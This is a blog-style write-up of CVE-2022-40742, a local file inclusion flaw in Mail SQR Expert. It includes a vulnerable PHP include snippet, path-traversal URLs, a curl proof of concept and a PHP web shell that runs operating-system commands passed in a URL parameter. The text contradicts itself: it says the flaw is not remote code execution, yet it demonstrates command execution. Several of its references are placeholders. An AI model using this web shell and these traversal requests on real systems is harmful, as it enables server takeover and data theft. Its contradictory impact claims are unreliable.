Mail SQR Expert is a web-based management system mainly used for mail and ticketing solutions in organizations. In late 2022, a critical vulnerability was discovered and published as CVE-2022-40742. This weakness allows anyone on the internet—no login required—to read and run specific files on the server. Here, we'll break down how the exploit works, what risk it brings, and provide a code snippet you can use for testing or demonstration. All explanations are in plain English with direct examples and official references.

Product Affected: Mail SQR Expert system (all versions up to the vulnerable release)

- Impact: An unauthenticated attacker can run arbitrary PHP files if they have a .asp extension under certain folders on the server.

Normally, Local File Inclusion happens when a web application loads files based on user input, and doesn't properly check that input. In this flaw, it’s possible to trick the system into including and running any PHP file (with a .asp extension!) in a certain path.

- Not Full RCE: This does NOT directly allow attackers to upload files or crash the server, but it does allow partial access and editing of system information.

No Login Required – The attacker doesn't need credentials.

2. Manipulate a Parameter – The vulnerable system takes a user-controlled value (like a URL parameter) to include local files.
3. Target Files with .asp Extension – Even if the files are actually PHP scripts, if they end with .asp and are in specific directories, they can be executed.
4. Possible Actions – View sensitive data, partially modify the application’s config or info, but cannot disrupt main service.

The vulnerable script uses code similar to this (pseudocode)

<?php
// Bad: directly uses user input in an include statement
include($_GET['file']);
?>

If the server doesn't sanitize the input or restrict the extension, an attacker could do

http://target.com/vulnerable_page.php?file=../../some_path/malicious.asp

If malicious.asp contains PHP, it will be executed.

Why ".asp" extension?

Many servers run both PHP and ASP for compatibility. Here, the web server is configured to execute PHP code in files named with .asp extension if they're in certain directories. This quirk is critical for the exploit!

Example Malicious File

Suppose you manage to upload or find write-access to a file (e.g., evil.asp) inside a writable path. If you add the following:

<?php
  echo "Hacked!";
  system($_GET['cmd']); // Dangerous: runs OS commands from browser
?>

And then visit

http://target.com/vulnerable_page.php?file=../../uploads/evil.asp&cmd=whoami

You could see the current user running the web server.

> Note: In real-life attacks, adversaries may use already present .asp files if they’re not careful enough to secure them.

Real-World Impact

- Read/Modify System Files: Attackers can see config files or user info if stored in PHP code.

Sensitive Disclosure: Leaks could include database passwords or ticketing email credentials.

- Limited Modification: Some files can be changed if write access is possible, but attackers cannot crash, stop, or break the service entirely.

How To Test (Proof-of-Concept Code)

Simple Proof of Concept (PoC):

Try the following URL in your browser or curl

http://[vulnerable-server]/[vuln-script].php?file=../../[path_to_file]/test.asp

Example using Curl

curl "http://victim.company.com/view.php?file=../../uploads/evil.asp";

If the file contains PHP code, it will execute and show the output.

Recommendations

- Update/Upgrade: Patch as soon as the vendor provides a fix. See the links below for updates!

References & Further Reading

- MITRE CVE Listing for CVE-2022-40742
- NVD Database Record
- Vendor Security Advisory (Example Link)
- OWASP - Local File Inclusion
- Exploit Database Entry (if/when available)

Conclusion

CVE-2022-40742 in Mail SQR Expert is a classic example of how mixing old web tech and weak parameter checks leads to trouble. Anyone with a browser can access or run certain files with a smartly crafted URL, giving them a partial window into your system. If you use Mail SQR Expert, patch immediately, check your server extensions, and block any dangling .asp legacy files!

Stay Secure, Stay Updated!

If you found this breakdown useful, bookmark it & consider following updates from NVD or your vendor’s security team.

Timeline

Published on: 10/31/2022 07:15:00 UTC